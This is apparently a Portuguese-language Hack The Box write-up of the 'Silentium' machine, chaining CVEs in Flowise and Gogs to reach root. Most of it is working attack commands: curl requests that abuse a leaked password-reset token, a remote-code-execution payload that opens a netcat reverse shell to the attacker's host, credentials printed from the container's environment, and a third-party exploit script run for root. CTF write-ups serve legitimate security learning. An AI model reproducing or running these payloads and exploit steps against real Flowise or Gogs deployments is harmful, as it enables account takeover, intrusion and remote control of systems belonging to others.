
Hack The Box - Writeup da máquina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
Portas abertas: 22 (SSH), 80 (HTTP)
staging.silentium.htb roda Flowise 3.0.5O endpoint de esqueci a senha vaza o tempToken diretamente na resposta da API.
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
Use o tempToken vazado para redefinir a senha:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
Faça login para obter a chave da API e então dispare o RCE:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Consegui uma shell dentro do container Docker como root.
Verifiquei as variáveis de ambiente:
env
Credenciais encontradas:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSSH para o host:
ssh ben@<IP>
Gogs rodando internamente na porta 3001 como root.
Configure o túnel SSH:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
Registrei uma conta no Gogs via http://127.0.0.1:8080 e gerei o token de API.
Usei o exploit do TYehan:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
Consegui shell root! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts: